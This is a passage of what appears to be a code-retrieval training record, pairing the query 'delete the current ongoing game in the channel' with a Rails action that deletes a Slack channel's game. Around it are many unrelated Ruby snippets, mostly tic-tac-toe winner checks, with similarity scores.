this diagonal IS a winning combination\n return first_symbol\n\n end\n\n end\n\n # Nope, no winner in any diagonal\n return\n\n end",
"def winner?(board, letter)\n # check top across\n if (board[6] == letter and board[7] == letter and board[8] == letter) then return true end\n # check middle across\n if(board[3] == letter and board[4] == letter and board[5] == letter) then return true end\n # check bottom across\n if(board[0] == letter and board[1] == letter and board[2] == letter) then return true end\n # check left side\n if(board[6] == letter and board[3] == letter and board[0] == letter) then return true end\n # check middle\n if(board[7] == letter and board[4] == letter and board[1] == letter) then return true end\n # check right side\n if(board[8] == letter and board[5] == letter and board[2] == letter)then return true end\n # diagnol\n if(board[6] == letter and board[4] == letter and board[2] == letter)then return true end\n # diagnol\n if(board[8] == letter and board[4] == letter and board[0] == letter)then return true end\n false\n end",
"def check_winner(g)\n winning_lines = [[1,4,7],[2,5,8],[3,6,9],[1,5,9],[3,5,7],[1,2,3],[4,5,6],[7,8,9]]\n \n winning_lines.each do |line|\n if g[line[0]] == 'X' && g[line[1]] == 'X' && g[line[2]] == 'X'\n return 'Player'\n elsif g[line[0]] == 'O' and g[line[1]] == 'O' and g[line[2]] == 'O'\n return 'Computer'\n end\n end\n \n return nil\nend",
"def winner?\n (board[:a] == board[:b] && board[:b] == board[:c]) ||\n (board[:d] == board[:e] && board[:e] == board[:f]) ||\n (board[:g] == board[:h] && board[:h] == board[:i]) ||\n (board[:a] == board[:d] && board[:d] == board[:g]) ||\n (board[:b] == board[:e] && board[:e] == board[:h]) ||\n (board[:c] == board[:f] && board[:f] == board[:i]) ||\n (board[:a] == board[:e] && board[:e] == board[:i]) ||\n (board[:c] == board[:e] && board[:e] == board[:g])\n end",
"def winner(board_array)\n if won?(board_array) && board_array.include?(\"O\")\n return \"O\"\n elsif won?(board_array) && board_array.include?(\"X\")\n return \"X\"\n else\n return nil\n end \nend",
"def winner(board)\n if (over?(board))\n if (board[won?(board)[0]] == \"X\")\n return \"X\"\n else\n return \"O\"\n end\n else\n end\n end",
"def winner\n if won?\n return @board[ won?[0] ]\n else\n return nil\n end\n end",
"def winner\n if won?\n winner = won?\n return @board[winner[0]]\n else\n return nil\n end\n end",
"def winner(board)\n if won?(board) !=false\n winning_index = won?(board)\n\n if board[winning_index[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\n end\n\nend",
"def winner\n self.won?? self.board.cells[self.won?[0]] : nil\n end",
"def winner\n (@cases['A'][1].state == @cases['A'][2].state && @cases['A'][2].state == @cases['A'][3].state) ||\n (@cases['B'][1].state == @cases['B'][2].state && @cases['B'][2].state == @cases['B'][3].state) ||\n (@cases['C'][1].state == @cases['C'][2].state && @cases['C'][2].state == @cases['C'][3].state) ||\n (@cases['A'][1].state == @cases['B'][1].state && @cases['B'][1].state == @cases['C'][1].state) ||\n (@cases['A'][2].state == @cases['B'][2].state && @cases['B'][2].state == @cases['C'][2].state) ||\n (@cases['A'][3].state == @cases['B'][3].state && @cases['B'][3].state == @cases['C'][3].state) ||\n (@cases['A'][1].state == @cases['B'][2].state && @cases['B'][2].state == @cases['C'][3].state) ||\n (@cases['A'][3].state == @cases['B'][2].state && @cases['B'][2].state == @cases['C'][1].state)\n end",
"def is_winner(x, y, player)\n return true if check_row(x, player)\n return true if check_col(y, player)\n return true if check_diagonals(player)\n return false\n end",
"def won?(board)\n WIN_COMBINATIONS.each do |winner| #comes out with [0,1,2]\n\n win_index_1 = winner[0]\n win_index_2 = winner[1]\n win_index_3 = winner[2]\n\n\n position_1 = board[win_index_1] #store board position 0\n position_2 = board[win_index_2] #store board position 1\n position_3 = board[win_index_3] #store board position 2\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return winner\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return winner\n end\n end\n false\nend",
"def check_board\n\n # starting at top left, check top row, diagonal and left column\n if ( ($game_board[0][0] == $game_board[0][1] && $game_board[0][0] == $game_board[0][2]) ||\n ($game_board[0][0] == $game_board[1][1] && $game_board[0][0] == $game_board[2][2]) ||\n ($game_board[0][0] == $game_board[1][0] && $game_board[0][0] == $game_board[2][0]) )\n $winner = $game_board[0][0] \n\n # starting at top middle, check middle column\n elsif ($game_board[0][1] == $game_board[1][1] && $game_board[0][1] == $game_board[2][1])\n $winner = $game_board[0][1]\n\n #starting at top right, check right column and diagonal\n elsif (($game_board[0][2] == $game_board[1][2] && $game_board[0][2] == $game_board[2][2]) ||\n ($game_board[0][2] == $game_board[1][1] && $game_board[0][2] == $game_board[2][0]))\n $winner = $game_board[0][2]\n\n #starting at middle left, check middle row\n elsif ($game_board[1][0] == $game_board[1][1] && $game_board[1][0] == $game_board[1][2])\n $winner = $game_board[1][0]\n\n #starting at bottom left, check bottom row\n elsif ($game_board[2][0] == $game_board[2][1] && $game_board[2][0] == $game_board[2][2])\n $winner = $game_board[2][0]\n end\n \n if $winner\n puts $winner.to_s + \" wins!\" \n exit\n end\n \n #if we don't have a winner at this point, and all the spaces are filled (not nil), then it's a tie\n if $game_board.flatten.all?\n puts \"It's a tie!\"\n exit\n end\n \nend",
"def winner?(letter=:X)\n win_arr = [letter, letter, letter]\n\n # check rows\n return true unless @squares.index(win_arr).nil?\n\n # check columns\n return true unless @squares.index(win_arr).nil?\n end",
"def winner\n if won? != false && won? != nil\n win = won?\n return @board[win[0]]\n else\n return nil\n end\n end",
"def winner_H(board,player) \n for i in 0..5\n check=0\n j=0\n\n while (j < 6)\n if (board[i][j] == player && board[i][j]!=\" \")\n check=check+1\n else\n check=0\n end\n\n if (check== 4) then\n return true\n end\n j=j+1\n end\n end\n\n return false\n end",
"def winner(board)\n if winner = won?(board) #[0,1,2]\n board[winner[0]]\nelse\n nil\nend\nend",
"def winner(board)\n triplet = won?(board)\n if !!triplet\n return board[triplet[0]]\n end\n return nil\nend",
"def winner(board)\n triplet = won?(board)\n if !!triplet\n return board[triplet[0]]\n end\n return nil\nend",
"def won?(board)\n WIN_COMBINATIONS.each {|win_combo|\n index_0 = win_combo[0]\n index_1 = win_combo[1]\n index_2 = win_combo[2]\n\n position_1 = board[index_0]\n position_2 = board[index_1]\n position_3 = board[index_2]\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n final_winner = \"X\"\n return win_combo\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n final_winner = \"O\"\n return win_combo\n end\n }\n return false\nend",
"def declare_winner(board_model, pos)\n board_model[pos] == \"X\" ? \"Player 1 won\" : \"Player 2 won\"\nend",
"def winner (board)\n index = []\n index = won?(board)\n if index == false\n return nil\n else\n if board[index[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\n end\nend",
"def winner (board)\n index = []\n index = won?(board)\n if index == false\n return nil\n else\n if board[index[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\n end\nend",
"def winner\n store_person = winner_function\n store_combo = won?\n if store_combo == false\n return nil\n elsif store_person == \"X\"\n return \"X\"\n elsif store_person == \"O\"\n return \"O\"\n else\n return false\n end\n end",
"def winner(board)\n WIN_COMBINATIONS.detect do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return \"X\"\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return \"O\"\n end\n end\nend",
"def winCondition(player)\n #Loops through rows, then loops through columns.\n\tfor i in 0..2\n\t\tcheck = i*3\n\t\tif(@bo[check] == player && @bo[check+1] == player && @bo[check+2] == player) then\n\t\t\treturn player\n\t\tend\n\t\tif(@bo[i] == player && @bo[i+3] == player && @bo[i+6] == player) then\n\t\t\treturn player\n\t\tend\n\tend\n #Loops through diagonals\n\tif(@bo[0] == player && @bo[4] == player && @bo[8] == player) then\n\t\treturn player\n\tend\n\tif(@bo[2] == player && @bo[4] == player && @bo[6] == player) then\n\t\treturn player\n\tend\n\treturn nil\n end",
"def winner (board)\n result = won?(board)\n # Get first character of the winning combination, if there was any winning combination.\n board[result[0]] if result.class == Array\nend",
"def winner\n # checks to see if game was won\n if won?\n winning_array = WIN_COMBINATIONS.detect do |win_array|\n board.cells[win_array[0]] == \"X\" && board.cells[win_array[1]] == \"X\" && board.cells[win_array[2]] == \"X\" ||\n board.cells[win_array[0]] == \"O\" && board.cells[win_array[1]] == \"O\" && board.cells[win_array[2]] == \"O\"\n end\n board.cells[winning_array[0]]\n end\n end",
"def winner\n tie_string = \"\"\n @players.each do |player|\n if @position[player] == @length\n tie_string << \"#{player}\"\n end\n end\n\n if tie_string.length > 1\n return \"no one\"\n else\n return tie_string[0]\n end\n\n end",
"def winner(board)\n if won?(board)\n win_combo=won?(board) # 3 indices - all x or all o\n return board[win_combo[0]] # win_combo[0] has the first index of the winning combo\n else\n return nil\n end\nend",
"def winner(board)\n if won?(board)\n win_combo=won?(board) # 3 indices - all x or all o\n return board[win_combo[0]] # win_combo[0] has the first index of the winning combo\n else\n return nil\n end\nend",
"def diag_winner?(check_symbol)\n \t(@current_state[:A1] == check_symbol &&\n \t\t@current_state[:B2] == check_symbol &&\n \t\t@current_state[:C3] == check_symbol) ||\n \t(@current_state[:A3] == check_symbol &&\n \t\t@current_state[:B2] == check_symbol && \n \t\t@current_state[:C1] == check_symbol) \n end",
"def winner(board)\n #win_combination=won?(board)\n #if win_combination==false\n # return nil\n if !won?(board)\n #return nil\n nil\n else\n win_combination=won?(board)\n\n index1=win_combination[0]\n index2=win_combination[1]\n index3=win_combination[2]\n if board[index1]==\"X\"&&board[index2]==\"X\"&&board[index1]==\"X\" #&& over?(board)\n #return \"X\"\n \"X\"\n elsif board[index1]==\"O\"&&board[index2]==\"O\"&&board[index1]==\"O\" #&& over?(board)\n #return \"O\"\n \"O\"\n end\n end\nend",
"def winning_location board \n\tif board[0][0] == 1 && board[0][1] ==1 && board[0][2] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[0][0] == 2 && board[0][1] ==2 && board[0][2] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\n\n\tif board[1][0] == 1 && board[1][1] ==1 && board[1][2] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[1][0] == 2 && board[1][1] ==2 && board[1][2] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\n\n\tif board[2][0] == 1 && board[2][1] ==1 && board[2][2] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[2][0] == 2 && board[2][1] ==2 && board[2][2] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\n\n\tif board[0][0] == 1 && board[1][0] ==1 && board[2][0] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[0][0] == 2 && board[1][0] ==2 && board[2][0] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\n\n\tif board[0][1] == 1 && board[1][1] ==1 && board[2][1] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[0][1] == 2 && board[1][1] ==2 && board[2][1] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\n\n\tif board[0][2] == 1 && board[1][2] ==1 && board[2][2] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[0][2] == 2 && board[1][2] ==2 && board[2][2] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\n\n\tif board[0][0] == 1 && board[1][1] ==1 && board[2][2] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[0][0] == 2 && board[1][1] ==2 && board[2][2] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\n\n\tif board[2][0] == 1 && board[1][1] ==1 && board[0][2] == 1\n\t\tputs \"X Wins\"\n\t\t@gameon = false\n\tend\n\n\tif board[2][0] == 2 && board[1][1] ==2 && board[0][2] == 2\n\t\tputs \"O Wins\"\n\t\t@gameon = false\n\tend\n\nend",
"def winner\n count1, count2 = @cups[6].count, @cups[13].count\n if count1 > count2\n @name1\n elsif count2 > count1\n @name2\n else\n :draw\n end\n end",
"def won?\n \n \tboard_empty = @board.none? { |i| i == \"X\" || i = \"O\"}\n\tif board_empty\n \tfalse\n\telse\n WIN_COMBINATIONS.each do |element|\n \tif @board[element[0]] == \"X\" && @board[element[1]] == \"X\" && @board[element[2]] == \"X\" || @board[element[0]] == \"O\" && @board[element[1]] == \"O\" && @board[element[2]] == \"O\"\n \treturn element\n \tend\n \tend\n \treturn false\n end\nend",
"def winning_move?\n winning_moves = [[1,2,3], [4,5,6], [7,8,9], [1,4,7], [2,5,8], [3,6,9], [1,5,9], [3,5,7]]\n winning_moves.each do |set|\n #check game board to see if XXX or OOO combination exists\n if (@board[set[0]] == \"X\") && (@board[set[1]] == \"X\") && (@board[set[2]] == \"X\")\n @winner = \"X\"\n return true\n elsif (@board[set[0]] == \"O\") && (@board[set[1]] == \"O\") && (@board[set[2]] == \"O\")\n @winner = \"O\"\n return true\n end\n end\n return false\n end",
"def winner\n winning_conditions_met? == \"x\" ? \"#{@player_one} won!\" : \"#{@player_two} won!\"\n end",
"def winner\n if won? == nil\n return nil\n else\n winning_position = won?\n winning_index = winning_position[0]\n @board[winning_index]\n end\n end",
"def winner\n if won?\n @board[won?[0]]\n end\n end",
"def winner\n if finished?\n if @player_1[@length] = \"x\"\n return @players[0]\n elsif @player_2[@length] = \"x\"\n return @players[1]\n end\n end\n\n end"
] |
[
"0.74219316",
"0.7336712",
"0.7237744",
"0.71878356",
"0.7144838",
"0.7097895",
"0.70918286",
"0.707591",
"0.70042974",
"0.6994823",
"0.69611806",
"0.6950121",
"0.69468296",
"0.6943349",
"0.69373286",
"0.6935397",
"0.6924532",
"0.69238096",
"0.6908051",
"0.69077545",
"0.6877741",
"0.68658656",
"0.68639463",
"0.6861422",
"0.6854394",
"0.6851674",
"0.6848969",
"0.6827414",
"0.68269676",
"0.6815615",
"0.6798062",
"0.6793102",
"0.6787979",
"0.6779393",
"0.67774767",
"0.6771247",
"0.675484",
"0.6750565",
"0.6741748",
"0.67414373",
"0.6740478",
"0.67259365",
"0.6725463",
"0.6707332",
"0.6705458",
"0.6695252",
"0.6689513",
"0.66888493",
"0.66879463",
"0.667781",
"0.66769254",
"0.6662545",
"0.6649211",
"0.6640244",
"0.6633481",
"0.6631834",
"0.66185343",
"0.6615012",
"0.661441",
"0.6614105",
"0.66052336",
"0.66010946",
"0.6583375",
"0.6583037",
"0.657833",
"0.65740883",
"0.65710485",
"0.65522796",
"0.65494764",
"0.6546379",
"0.6540398",
"0.6540154",
"0.6537322",
"0.6533114",
"0.6530024",
"0.65229535",
"0.65224826",
"0.65224826",
"0.65188885",
"0.65139884",
"0.65133965",
"0.65133965",
"0.65016544",
"0.6497626",
"0.64969414",
"0.6493872",
"0.6490452",
"0.6480734",
"0.6475676",
"0.6475676",
"0.64727956",
"0.6464911",
"0.646342",
"0.64619124",
"0.6455815",
"0.6454451",
"0.64536333",
"0.64512193",
"0.6448556",
"0.6444811"
] |
0.77616906
|
0
|
delete the current ongoing game in the channel
|
def del
channel = params['channel_id']
existing = Board.find_by(:channel => channel)
if existing then
existing.destroy
return render json: { :response_type => 'in_channel',
:text => 'Removed the current game for the channel. It was between *' + existing.player1 + '* and *' + existing.player2 + '*' }
end
return render json: { :text => 'No ongoing game in the current channel' }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def remove_game(channel)\n @games.delete(channel)\n end",
"def remove_game(channel)\n if t = @games[channel].join_timer\n @bot.timer.remove(t)\n end\n @games.delete(channel)\n end",
"def remove_game(channel)\n if t = @games[channel].join_timer\n @bot.timer.remove(t)\n end\n @games.delete(channel)\n end",
"def open_channel\n @@game_channels.delete(@event.channel)\n nil\n end",
"def finish_game_session game_id\n craft_firebase_command(\"minesweeper/game#{game_id}.json\", \"DELETE\")\n\n # also, delete game id so that the queue will not contain unplayable game\n delete_game_id_in_queue(game_id)\nend",
"def destroy\r\n if @game.is_empty?\r\n increment_winner_statistic\r\n\r\n # destroy bots users\r\n bots_ids = @game.users.collect {|user| user.id if user.is_bot}\r\n User.where(id: bots_ids).destroy_all\r\n @game.players.destroy_all # todo use it in future\r\n @game.destroy\r\n end\r\n end",
"def delete_game\n\t\tclear\n\t\tget_username\n\t\tfile_name = get_saved_games\n\t\tif file_name != \"menu\"\n\t\t\tputs \"Are you sure you want to delete the game: \"+File.basename(file_name,\".setgame\")+\"?\"\n\t\t\tFile.delete(file_name) if gets.chomp.downcase[0]==\"y\"\n\t\tend\n\tend",
"def clear_canvas(data)\n ActionCable.server.broadcast 'games', clear: true\n end",
"def delete\n @channel_control.delete\n end",
"def delete_game\n\t\tall_saved_games = yaml_load(SAVED_FILENAME)\n\t\tgame_name = get_game_name(all_saved_games, \"delete\")\n\t\treturn if game_name.nil?\n\n\t\tall_saved_games.delete(game_name)\n\t\tyaml_save(SAVED_FILENAME, all_saved_games)\n\t\tmessage_then_enter \"'#{ game_name }' successfully deleted.\"\n\tend",
"def destroy\n game = Game.find_by_id(params[:id])\n game.destroy\n end",
"def destroy\n user_id = user_session.current_user.id\n \n # Permit a game to be deleted only if it belongs to the current user and is waiting.\n unless user_id == @game.player1_id && @game.player2.nil?\n head :forbidden\n return\n end\n \n @game.destroy\n \n # Broadcast message to clients directing them to update their lists\n # of waiting games.\n ActionCable.server.broadcast 'waiting_games', action: 'remove_game',\n user_id: user_id,\n game_id: @game.id\n \n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n current_user.quit\n flash[:notice] = \"Your player has committed suicide and left this game. So tragic!\"\n redirect_to game_path(@game)\n end",
"def delete_game_question\n Graphics.transition\n # Message break prevention\n Graphics.update while Input.press?(:B)\n scene = $scene\n $scene = self\n message = text_get(25, 18)\n oui = text_get(25, 20)\n non = text_get(25, 21)\n # Delete the game ?\n c = display_message(message, 1, non, oui)\n if c == 1\n message = text_get(25, 19)\n # Really ?\n c = display_message(message, 1, non, oui)\n if c == 1\n # Ok deleted!\n File.delete(@filename)\n message = text_get(25, 17)\n display_message(message)\n end\n end\n $scene = scene\n return @running = false\n end",
"def delete_gamecall\n update_gamecall = Gamecall.find_by(id: self.gamecall_tag)\n update_gamecall.destroy if update_gamecall\n end",
"def remove_from_gamespace\n # remove it from the room it's in.\n self.from_room \n self.recycle \n # Possibly in the future return all switches. I.e. an admin taking over an NPC body.\n end",
"def destroy\n @games_leaderboard.destroy\n\n head :no_content\n end",
"def destroy\n @game.destroy\n redirect_to root_path\n end",
"def destroy\n @chatty_crow_channel.destroy\n flash[:notice] = l(:notice_successful_delete)\n redirect_to_plugin_settings\n end",
"def leave_game(player)\n self.players.find(player.to_i).destroy\n self.save\n end",
"def remove_game(game_id, league_id)\n database do |db|\n # get timestamp\n timestamp = db.get_first_value 'SELECT Timestamp FROM Game\n WHERE GameID = :game_id\n AND LeagueID = :league_id',\n game_id, league_id\n\n removed = game_to_s(game_id, false, league_id)\n\n # remove the game\n db.execute 'DELETE FROM Game\n WHERE GameID = :game_id\n AND LeagueID = :league_id',\n game_id, league_id\n\n db.execute 'DELETE FROM EloHistory\n WHERE GameID = :game_id\n AND LeagueID = :league_id',\n game_id, league_id\n\n slack_url = db.get_first_value 'SELECT Value FROM Config\n WHERE Setting = \"SlackUrl\"'\n\n message_slack(\"Game removed: #{removed}\", [], slack_url, league_id) if league_id == 1 || league_id == 41\n\n recalc(league_id, timestamp)\n end\nend",
"def destroy\n @board.destroy\n end",
"def delete_game(boardgames)\r\n\t\tputs \"What game do you want to delete?\"\r\n\t\tchoice = menu_options(boardgames.keys)\r\n\t\tputs \"I understand you want to delete #{choice}? Is that correct?\"\r\n\t\tid = boardgames[choice][:id]\r\n\t\tif y_or_n\r\n\t\t\tputs \"I have deleted that game.\"\r\n\t\t\tdelete_boardgame(@db, id)\r\n\t\tend\r\n\t\tmanage_games\r\n\tend",
"def destroy\n @game = Game.find(params[:id])\n @game.is_deleted = 1\n @game.save\n redirect_to games_path\n end",
"def do_delete\n moved = []\n # evacuate the room.\n\n if !@stuff.empty? \n moved = @stuff.dup\n moved.each do |person|\n if person.is_a?(Player)\n # send them to a safe vnum...we're going to use vnum 1\n person.go_anywhere\n end\n end\n end\n \n\n 4.times do |i|\n ex = self.exit_list[i]\n next if ex == nil\n\n log :debug, \"ex #{ex.direction} deleted\"\n\n if ex.towards_room.gri.exit_list[ex.direction.exit_code_rev] \n if ex.towards_room.gri.exit_list[ex.direction.exit_code_rev].towards_room.gri == self # if it's the same room as being deleted we delete \n ex.towards_room.gri.exit_list[ex.direction.exit_code_rev].do_delete\n end\n end\n ex.do_delete\n end\n\n moved.each do |p|\n p.execute_command(\"look\")\n end\n Tag.clear_tag(self)\n @vtag = nil\n a = @vnum / 1000\n Vnum.rooms[@vnum % 1000] = nil # unlinked from main list.\n end",
"def exit_screen\n @games.pop\n end",
"def destroy(state_manager, game)\n end",
"def destroy\n @admingame = Game.find(params[:id])\n @admingame.destroy\n redirect_to '/adminCool'\n end",
"def reset_game\n @current_room_id = 9\n find_room_by_id(9).isLocked = true\n find_item_by_id(8).show_item = false\n @inventory.delete(8)\n @talk_id = 18\n end",
"def gameover\n self.users.each do |user|\n user.leave_game\n end\n self.done = true\n self.save\n\n Game.del(self.id)\n end",
"def destroy\n\t\t# TODO: disallow leaving the game if you're dead.\n\t\t# Possibly also introduce a 'retired' state for players who left the game after it started,\n\t\t# rather than just deleting them outright?\n\t\t@player = Player.find(params[:id])\n\t\t@game = @player.game\n\t\tunless playing? and (@player == me or me.is_operator?)\n\t\t\traise \"You can't kick a player because you're not an operator!\"\n\t\tend\n\t\tobserving_game_events(@game) do\n\t\t\t@game.remove_player(@player)\n\t\tend\n\t\tif @player == me\n\t\t\tannounce_event(\"%s has left the game\", @player.name)\n\t\telse\n\t\t\tannounce_event(\"%s was kicked by %s\", @player.name, me.name)\n\t\tend\n\n\t\trender :nothing => true and return if request.xhr?\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to @game }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend",
"def destroy\n if @game.destroy\n render json: { success: true, game: @game}\n end\n end",
"def destroy_games_to_edit\n user_bracket.games.select do |game|\n Bracket.rounds.index(game.round) >= Bracket.rounds.index(@current_round)\n end.each{|game| game.destroy}\n end",
"def delete_saved_game(game_id)\n @db.query(\"DELETE FROM SavedGames WHERE GameID = #{game_id};\")\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n flash[:notice] = \"Game deleted.\"\n redirect_to user_path\n end",
"def destroy\n @campaign = @game_round.campaign\n @game = @game_round.game\n @game_round.destroy\n respond_to do |format|\n format.html {\n redirect_to by_code_case_campaign_game_rounds_path( @campaign, code:@game.code ),\n notice: 'Game instance was successfully destroyed.'\n }\n format.json { head :no_content }\n end\n end",
"def end_game()\n get_winners()\n end",
"def destroy\n unless @top_level.require('action') == 'surrender'\n render json: { status: 'failed' }, status: :bad_request\n return\n end\n @game.surrender\n render json: public_object(@game, status), status: :ok\n end",
"def destroy\n @game.reset\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'La partie a bien été supprimée' }\n format.json { head :no_content }\n end\n end",
"def delete_channel(data)\n channel = Channel.new(data, self)\n server = channel.server\n\n # Handle normal and private channels separately\n if server\n @channels.delete(channel.id)\n server.channels.reject! { |c| c.id == channel.id }\n else\n @private_channels.delete(channel.id)\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @g_game_board.destroy\n respond_to do |format|\n format.html { redirect_to g_game_boards_url, notice: 'G game board was successfully destroyed.' }\n end\n end",
"def deletePlayer()\n\t\ttimeMax = @rankedTimeDB.execute(\"SELECT MAX(time) FROM rankedTime WHERE idMap = '#{@idMap}'\").shift.shift\n\t\t@rankedTimeDB.execute(\"DELETE FROM rankedTime WHERE time = '#{timeMax}'\")\n\t\t\n\tend",
"def end_game\n\n end",
"def end_game\r\n @game_over = true\r\n end",
"def destroy\n get_message().delete\n end",
"def kill_player\r\n @enemies.each do |player|\r\n if (player.life_points <= 0)\r\n @enemies.delete(player)\r\n puts \"#{player.name} vient d'être éliminé !\"\r\n end\r\n end \r\n end",
"def delete_this_event_forever\n $env.set_event_delete_state(@event_id)\n $game_map.events[@event_id]&.erase\n end",
"def leave_game\n topic_id = params[:id]\n curr_topic = Topic.find(topic_id)\n curr_id = curr_topic.last_registered_player_id\n while curr_id != -1\n curr_player = Player.find(curr_id)\n if (curr_player.user_id == current_user.id)\n curr_topic.del_player(curr_player.id)\n end\n curr_id = curr_player.prev_player_id\n end\n curr_topic.save\n redirect_to '/t/' + topic_id\n end",
"def delete_channel(data)\n channel = Channel.new(data, self)\n server = channel.server\n\n # Handle normal and private channels separately\n if server\n @channels.delete(channel.id)\n server.delete_channel(channel.id)\n elsif channel.pm?\n @pm_channels.delete(channel.recipient.id)\n elsif channel.group?\n @channels.delete(channel.id)\n end\n end",
"def delete\n membership = Membership.find_by(uuid: conversation_params[:uuid])\n convo = membership.conversation\n leave_message = convo.messages.create(text: \"Conversation has ended\", user_index: -1)\n MessagesChannel.broadcast_to convo, MessageSerializer.new(leave_message)\n membership.update(is_active: false) if membership\n create_or_join\n end",
"def destroy\r\n BattleMech.find(params[:id]).destroy\r\n flash[:success] = \"BattleMech destroyed.\"\r\n redirect_to(battle_mechs_path)\r\n end",
"def delete_game_id_in_queue game_id, queue = nil\n current_queue = queue || craft_firebase_command(\"minesweeper/queue.json\")\n\n # getting new queue to update\n new_queue = current_queue&.reject { |queue_game_id|\n # reject chosen game\n game_id == queue_game_id\n }\n\n # update queue on server\n update_current_queue(new_queue)\nend",
"def destroy_group_stage_game(game) \n # puts \"destroy: #{self.first_round.jornada}: #{game[0].name} vs #{game[1].name} \"\n \n @game = Game.find(:first, :conditions => [\"cup_id = ? and home_id = ? and away_id = ? and type_name = 'GroupStage'\", \n self.id, game[0].id, game[1].id])\n unless @game.nil?\n # puts \"destroy: #{self.first_round.jornada}: #{game[0].name} vs #{game[1].name} \"\n @game.destroy\n end\n end",
"def destroy\n @game = Game.find(params[:id]).destroy\n flash[:alert] =\" games successfully deleted\"\n redirect_to games_url\n end",
"def destroy\n @times_game.destroy\n respond_to do |format|\n format.html { redirect_to :back}\n end\n end",
"def end_game\n end",
"def destroy\n\t\t@competition=Competition.find(params[:id])\n\t\tif @competition.finished? || @competition.started_at.nil?\n\t\t\tusers=@competition.users\n\t\t\tcurrent_user.competition_id=nil\n\t\t\tcurrent_user.submitted_at=nil\n\t\t\tcurrent_user.submitted_competition= false\n\t\t\tcurrent_user.results={}\n\t\t\tcurrent_user.save!\n\t\t\t\n\t\t\tif current_user.can_get_free_gold\n\t\t\t\tcurrent_user.notifications.create!( message: \"Congratulations! You are now entitled to 1000 gold free gift.\" )\n\t\t\tend\n\t\t\t\n\t\t\tif users.count == 0\n\t\t\t\t@competition.destroy\n\t\t\tend\n\t\t\tredirect_to competitions_path\n\t\telse\n\t\t\tflash[:danger]=\"You cannot leave when competition is started and not finished!!!\"\n\t\t\tredirect_to comepetition_path(@competition)\n\t\tend\n end",
"def delete_round(server)\n # Creates a hash channel_id => Array of message IDs in that channel.\n del = @messages[server.id].group_by { |h| h[:channel] }.each_value { |e| e.map! { |h| h[:id] } }\n @messages[server.id] = []\n sleep 2\n del.each_pair do |channel, msgs|\n if msgs.size == 1\n SHRK.channel(channel)&.delete_message(msgs.first)\n else\n SHRK.channel(channel)&.delete_messages(msgs)\n end\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def deletegames\n @games = Game.find(:all)\n if (@games.length > 0)\n @games.each { |game|\n logger.debug(\"Deleting game \" << game.id)\n game.destroy\n }\n end\n end",
"def destroy\n @chat_room.user_exit_room(current_user)\n @chat_room.admissions.destroy_all\n @chat_room.destroy\n \n redirect_to root_path\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to contest_games_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @board_game.destroy\n respond_to do |format|\n format.html { redirect_to [@board_game_category], notice: 'Board game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy_current_puzzle_if_any\n\n return true if $redis.keys(\"#{remote_ip}.hidden.ids\").empty?\n \n $redis.keys(\"#{remote_ip}.hidden.*\").each do |key|\n $redis.del(key)\n end\n\n $redis.del(\"#{remote_ip}.#{session}.image_reference\")\n end",
"def destroy\r\n @channel.destroy\r\n respond_to do |format|\r\n format.html { redirect_to user_channels_path(current_user)}\r\n end\r\n end",
"def destroy\n\t\t@game.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to games_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def close\r\n pop_game_state\r\n end",
"def kill_player(player)\n @enemies.delete(player)\n end",
"def delete!\n clear!\n delete\n end",
"def destroy\n\t\tg = GrouptestChatmessage.find(params[:id])\n\t\tg.destroy\n redirect_to( g.test ) \n end",
"def delete_if_finished\n self.destroy if self.played and self.score_shown\n end",
"def kill_player(player)\n\t\t@enemies.delete(player)\n\tend",
"def gameover\n op_hand.clear\n end",
"def destroy\n @at_bat.destroy\n\n redirect_to(@game)\n end",
